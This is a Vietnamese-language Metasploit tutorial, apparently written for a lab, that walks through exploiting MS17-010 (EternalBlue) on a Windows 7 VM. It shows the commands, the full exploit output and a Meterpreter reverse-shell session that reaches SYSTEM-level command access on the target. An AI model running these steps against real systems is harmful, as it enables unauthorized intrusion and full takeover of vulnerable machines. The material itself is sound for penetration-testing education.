Bắt đầu
Bạn có thể khởi chạy một máy ảo mục tiêu để thử nghiệm ví dụ này.
Đầu tiên dùng search để tìm mô-đun cần thiết, sau đó sử dụng use để chọn mô-đun. Ở bài này tôi sẽ không nói rõ bước này.
msf6 > use exploit/windows/smb/ms17_010_eternalblue
Khi bạn đã vào ngữ cảnh của một mô-đun bằng cách sử dụng use MODULE_NAME
, bạn sẽ cần thiết lập các tham số. Các thông số phổ biến nhất bạn sẽ sử dụng được liệt kê dưới đây. Hãy nhớ rằng, tuỳ vào mô-đun bạn sử dụng, các thông số bổ sung hoặc khác có thể cần được thiết lập. Thực hành tốt là sử dụng show options
để liệt kê các tham số cần thiết.
Tất cả các tham số được đặt bằng lệnh set PARAMETER_NAME VALUE
Dấu nhắc lệnh
Regular prompt: Bạn không thể sử dụng các lệnh Metasploit tại đây.
root@kali:~#
msfconsole prompt: msf5 (hoặc msf6 tùy thuộc vào phiên bản của msf). Đây là giao diện khi vào metasploit.
msf6 >
context prompt: Khi bạn đã sử dụng mô-đun, msfconsole sẽ hiển thị ngữ cảnh. Bạn có thể sử dụng các lệnh cụ thể (ví dụ: set RHOSTS)
msf6 exploit(windows/smb/ms17_010_eternalblue) >
Meterpreter prompt: Meterpreter là một payload quan trọng được tải vào hệ thống đích và kết nối trở lại với bạn. Bạn có thể sử dụng các lệnh cụ thể của Meterpreter tại đây.
meterpreter >
target shell: Sau khi khai thác xong, bạn có thể có quyền truy cập vào shell trên hệ thống đích. Đây là mỗi trường dòng lệnh và tất cả các lệnh được nhập ở đây đều chạy trên hệ thống đích.
C:\Windows\system32>
Đặt tham số
Như đã đề cập trước đó, lệnh show options
sẽ liệt kê tất cả các tham số có sẵn.
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.44.70 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf5 exploit(windows/smb/ms17_010_eternalblue) >
Như bạn có thể thấy, một số tham số này yêu cầu một giá trị để khai thác hoạt động. Một số giá trị thông số bắt buộc sẽ được điền trước, hãy đảm bảo bạn kiểm tra xem những giá trị này có được giữ nguyên cho mục tiêu của bạn hay không.
Ví dụ: một khai thác web có thể có giá trị RPORT (remote port: cổng trên hệ thống đích mà Metasploit sẽ cố gắng kết nối và chạy khai thác) đặt trước giá trị là 80, nhưng ứng dụng web mục tiêu của bạn có thể đang sử dụng cổng 8080.
Trong ví dụ này, chúng ta sẽ cần đặt tham số RHOSTS thành địa chỉ IP của hệ thống mục tiêu bằng cách sử dụng lệnh set.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.211.136
RHOSTS => 192.168.211.136
RHOSTS (remote host): địa chỉ IP của hệ thống đích. Có thể đặt một địa chỉ IP hoặc một dải mạng. Hỗ trợ ký hiệu CIDR (Định tuyến liên miền không phân lớp) (/24, /16, v.v.) hoặc phạm vi mạng (10.10.10.x – 10.10.10.y). Bạn cũng có thể sử dụng một file trong đó các mục tiêu được liệt kê, một mục tiêu trên mỗi dòng bằng cách sử dụng file:/root/Desktop/target.txt.
Bạn có thể sử dụng setg (set global) để đặt các giá trị cho tất cả các mô-đun giống như lệnh set.
Khai thác
Khi tất cả các tham số của mô-đun được thiết lập, bạn có thể khởi chạy mô-đun bằng lệnh exploit
hoặc run
khi sử dụng các mô-đun không phải là khai thác (trình quét cổng, trình quét lỗ hổng, v.v.).
Một số mô-đun hỗ trợ lệnh check
kiểm tra xem hệ thống đích có dễ bị tấn công hay không mà không cần khai thác nó.
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.211.137:4444
[*] 192.168.211.136:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.211.136:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.211.136:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.211.136:445 - The target is vulnerable.
[*] 192.168.211.136:445 - Connecting to target for exploitation.
[+] 192.168.211.136:445 - Connection established for exploitation.
[+] 192.168.211.136:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.211.136:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.211.136:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.211.136:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 192.168.211.136:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 192.168.211.136:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.211.136:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.211.136:445 - Sending all but last fragment of exploit packet
[*] 192.168.211.136:445 - Starting non-paged pool grooming
[+] 192.168.211.136:445 - Sending SMBv2 buffers
[+] 192.168.211.136:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.211.136:445 - Sending final SMBv2 buffers.
[*] 192.168.211.136:445 - Sending last fragment of exploit packet!
[*] 192.168.211.136:445 - Receiving response from exploit packet
[+] 192.168.211.136:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.211.136:445 - Sending egg to corrupted connection.
[*] 192.168.211.136:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.211.136
[*] Meterpreter session 1 opened (192.168.211.137:4444 -> 192.168.211.136:49159) at 2022-07-12 02:03:09 -0400
[+] 192.168.211.136:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.211.136:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.211.136:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
Khi một lỗ hổng đã được khai thác thành công (bạn có thể thấy WIN ở trên), một meterpreter sẽ được tạo. Đây là kênh liên lạc được thiết lập giữa hệ thống mục tiêu và Metasploit.
Ngoài ra, bạn có thể Ctrl+Z để thoát ra phiên nền. Lệnh sessions
để xem các phiên hiện có.
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN7-PC 192.168.211.137:4444 -> 192.168.211.136:49159 (192.168.211.136)
Để quay lại phiên, bạn có thể sử dụng lệnh sessions -i SESSION_ID
msf6 > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Bạn có thể sử dụng lệnh shell để truy cập vào shell máy mục tiêu.
meterpreter > shell
Process 1224 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Bây giờ bạn đã có thể truy cập các lệnh từ máy mục tiêu.